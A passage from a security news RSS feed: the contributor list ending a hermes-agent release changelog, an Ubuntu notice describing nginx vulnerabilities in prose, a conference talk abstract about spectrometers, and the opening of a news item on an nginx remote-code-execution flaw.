<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dexhunter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dexhunter">@dexhunter</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dfein38347g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dfein38347g">@dfein38347g</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dhravya/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dhravya">@Dhravya</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DictatorBacon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DictatorBacon">@DictatorBacon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/digitalbase/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/digitalbase">@digitalbase</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dlkakbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dlkakbs">@dlkakbs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dmabry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dmabry">@dmabry</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DNAlec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DNAlec">@DNAlec</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dodo-reach/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dodo-reach">@dodo-reach</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/doncazper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/doncazper">@doncazper</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dorokuma/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dorokuma">@dorokuma</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/doxe0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/doxe0x">@doxe0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dschnurbusch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dschnurbusch">@dschnurbusch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EdderTalmor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EdderTalmor">@EdderTalmor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/egilewski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/egilewski">@egilewski</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/elashera/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/elashera">@elashera</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Elektrofussel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Elektrofussel">@Elektrofussel</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eliteworkstation94-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eliteworkstation94-ai">@eliteworkstation94-ai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emo-eth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emo-eth">@emo-eth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emozilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emozilla">@emozilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/enzo-adami/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/enzo-adami">@enzo-adami</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Epoxidex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Epoxidex">@Epoxidex</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ErnestHysa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ErnestHysa">@ErnestHysa</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/esthonjr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/esthonjr">@esthonjr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/evefromwayback/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/evefromwayback">@evefromwayback</a>, @evelynburger, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/F4TB0Yz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/F4TB0Yz">@F4TB0Yz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/falkoro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/falkoro">@falkoro</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fanyangCS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fanyangCS">@fanyangCS</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/firefly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/firefly">@firefly</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fjlaowan1983/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fjlaowan1983">@fjlaowan1983</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flewe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flewe">@flewe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flo1t/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flo1t">@flo1t</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flow-digital-ny/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flow-digital-ny">@flow-digital-ny</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/floze-the-genius/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/floze-the-genius">@floze-the-genius</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FuryMartin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FuryMartin">@FuryMartin</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fyzanshaik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fyzanshaik">@fyzanshaik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gauravsaxena1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gauravsaxena1997">@gauravsaxena1997</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/geoffreybutler94/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/geoffreybutler94">@geoffreybutler94</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/georgedrury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/georgedrury">@georgedrury</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gigakun3030/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gigakun3030">@gigakun3030</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Git-on-my-level/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Git-on-my-level">@Git-on-my-level</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gitcommit90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gitcommit90">@gitcommit90</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/githubespresso407/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/githubespresso407">@githubespresso407</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gnodet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gnodet">@gnodet</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GottZ/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GottZ">@GottZ</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gridzilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gridzilla">@Gridzilla</a>, @grimmjoww578, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gumclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gumclaw">@gumclaw</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gutslabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gutslabs">@Gutslabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HaiderSultanArc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HaiderSultanArc">@HaiderSultanArc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harjothkhara/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harjothkhara">@harjothkhara</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heathley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heathley">@heathley</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hejuntt1014/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hejuntt1014">@hejuntt1014</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeLLGURD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hellno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hellno">@hellno</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/herbalizer404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/herbalizer404">@herbalizer404</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hmirin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hmirin">@hmirin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hopfensaft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hopfensaft">@Hopfensaft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hotragn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hotragn">@Hotragn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hsy5571616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hsy5571616">@hsy5571616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huanshan5195/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huanshan5195">@huanshan5195</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HumphreySun98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HumphreySun98">@HumphreySun98</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydracoco7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydracoco7">@hydracoco7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydraxman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydraxman">@hydraxman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamlukethedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamlukethedev">@iamlukethedev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iborazzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iborazzi">@iborazzi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgorGanapolsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgorGanapolsky">@IgorGanapolsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iizotov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iizotov">@iizotov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ildunari/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ildunari">@ildunari</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitycrew39/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitycrew39">@infinitycrew39</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IpastorSan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IpastorSan">@IpastorSan</a>, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,<br>
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,<br>
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @joelbrilliant, @John-Lussier, @jplew,<br>
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,<br>
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,<br>
@LavyaTandel, @lawyer112, @lemonwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,<br>
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,<br>
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,<br>
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,<br>
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, @neo-claw-bot,<br>
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a>,<br>
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @OYLFLMH,<br>
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, @pixel4039,<br>
@plcunha, @pnascimento9596, @Polyhistor, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, @professorpalmer, @Punyko8, @Que0x, @Qwinty,<br>
@r0gersm1th, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,<br>
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, @rodboev,<br>
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,<br>
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,<br>
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, @sharziki, @shashwatgokhe,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @shuangxinniao, @SilentKnight87, @simplast, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, @SiteupAgencia, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, @sk-holmes,<br>
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,<br>
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,<br>
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,<br>
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a>, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>,<br>
@waroffchange, @waseemshahwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,<br>
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8563-1: nginx vulnerabilities]]></title>
<description><![CDATA[It was discovered that nginx incorrectly handled certain map directives
using regex matching and capture variables. A remote attacker could use
this issue to cause nginx to crash, resulting in a denial of service, or
possibly execute arbitrary code. (CVE-2026-42533)

It was discovered that nginx ...]]></description>
<link>https://tsecurity.de/de/3681907/unix-server/usn-8563-1-nginx-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681907/unix-server/usn-8563-1-nginx-vulnerabilities/</guid>
<pubDate>Mon, 20 Jul 2026 20:01:12 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that nginx incorrectly handled certain map directives
using regex matching and capture variables. A remote attacker could use
this issue to cause nginx to crash, resulting in a denial of service, or
possibly execute arbitrary code. (CVE-2026-42533)

It was discovered that nginx had a use-after-free vulnerability in the
ngx_http_ssi_module module when configured with Server-Side Includes,
proxy_pass, and proxy buffering disabled directives. An attacker able to
intercept traffic and control responses from an upstream server could
possibly use this issue to cause nginx to crash, resulting in a denial of
service. (CVE-2026-56434)

It was discovered that nginx incorrectly handled certain requests in the
ngx_http_slice_module module. A remote attacker could possibly use this
issue to obtain sensitive information or cause nginx to crash, resulting
in a denial of service. (CVE-2026-60005)]]></content:encoded>
</item>
<item>
<title><![CDATA[Lights, Spectrometer, Action! (emf2026)]]></title>
<description><![CDATA[Come and watch me point a spectrometer at a load of things, and teach you about how light interacts with stuff. What’s a spectrometer, you ask? Well it’s a device that measures light and produces a graph of the brightness of the light at each wavelength. I inherited one last year, and this talk w...]]></description>
<link>https://tsecurity.de/de/3681056/it-security-video/lights-spectrometer-action-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681056/it-security-video/lights-spectrometer-action-emf2026/</guid>
<pubDate>Mon, 20 Jul 2026 13:48:48 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Come and watch me point a spectrometer at a load of things, and teach you about how light interacts with stuff. What’s a spectrometer, you ask? Well it’s a device that measures light and produces a graph of the brightness of the light at each wavelength. I inherited one last year, and this talk will mainly consist of live demos of the spectrometer, along with explanations of what we’re seeing and how it works. The talk will be accessible to almost anyone - you don't need a lot of science knowledge to be able to enjoy it!

I’ll start with looking at some different light sources (incandescent bulbs, fluorescent bulbs, LEDs, sunlight, LCD displays) and then take a look at how a spectrometer works and what is inside the box. I’ll then introduce some other useful bits of kit, including a very expensive sheet of white plastic and a ‘sphere’ that has a surprisingly cuboid shape.

My background is in satellite imaging - which basically uses spectrometers mounted on satellites - so we’ll do a live look at the reflectance graphs we get for things we might be able to see from a satellite, like vegetation, soil and water and try to understand what causes these specific spectra. We’ll link these to real satellite images and cover some of the problems with doing spectroscopy from space - and even explain why a friend of mine did a whole PhD on the reflectance spectra of a concrete runway in the UK.

Finally we’ll try a few experiments that may or may not work, looking at the uses of spectroscopy in chemistry and measuring aerosols.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/51-lights-spectrometer-action]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-42533 Exposes Critical Pre-Auth nginx RCE Flaw]]></title>
<description><![CDATA[A newly disclosed security flaw, CVE-2026-42533, has revealed a critical Pre-Auth nginx vulnerability that could allow attackers to achieve reliable RCE (remote code execution) without authentication. The issue affects nginx versions 0.9.6 through 1.30.3 (stable) and 1.31.2 (mainline), while patc...]]></description>
<link>https://tsecurity.de/de/3680443/it-security-nachrichten/cve-2026-42533-exposes-critical-pre-auth-nginx-rce-flaw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680443/it-security-nachrichten/cve-2026-42533-exposes-critical-pre-auth-nginx-rce-flaw/</guid>
